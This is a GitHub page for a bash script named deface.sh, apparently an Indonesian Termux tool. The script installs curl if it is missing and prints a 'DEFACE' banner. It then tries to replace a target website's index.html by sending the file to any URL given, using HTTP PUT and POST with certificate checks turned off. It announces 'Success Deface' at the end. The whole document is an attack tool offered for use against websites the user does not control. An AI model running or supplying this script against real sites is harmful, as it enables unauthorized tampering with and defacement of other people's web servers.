-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathdeface.sh
More file actions
48 lines (42 loc) · 1.17 KB
/
deface.sh
File metadata and controls
48 lines (42 loc) · 1.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/bash
### Color ###
{
white='\e[1;37m'
red='\e[1;31m'
blue='\e[0;34m'
lightgreen='\e[1;32m'
}
if [ -f /data/data/com.termux/files/usr/bin/curl ];
then
sleep 1
echo -e $blue"[✔]:[ curl ]: $lightgreen Found !"
else
echo -e $blue"[x]:[ curl ]: $red Not Found ! "
echo ""
sleep 1
echo -e $white"installing curl..."
sleep 1
apt-get install --force-yes -y curl
fi
echo ""
sleep 1
echo "installation Finished"
echo ""
sleep 1
clear
echo -e $red"+++++++++++++++++++++++++++++"
echo -e $blue"___ ____ ____ ____ ____ ____"$red"+"
echo -e $blue"| \ |___ |___ |__| | |___"$red"+"
echo -e $blue"|__/ |___ | | | |___ |___"$red"+"
echo -e $red"+++++++++++++++++++++++++++++"
echo -e $white"https://termuxindonesia.wordpress.com"
echo -e $white''
if [ -z "$1" ]; then
echo -e $red"["$lightgreen"+"$red"]"$white"Usage Deface curl."
echo -e $red"["$lightgreen"+"$red"]"$white"Use: $red$0 $white<URL>"
exit 0
fi
echo
curl -k -T index.html $1
curl -k -X POST -F index.html $1
echo -e $blue"Success Deface $red"$1"/index.html"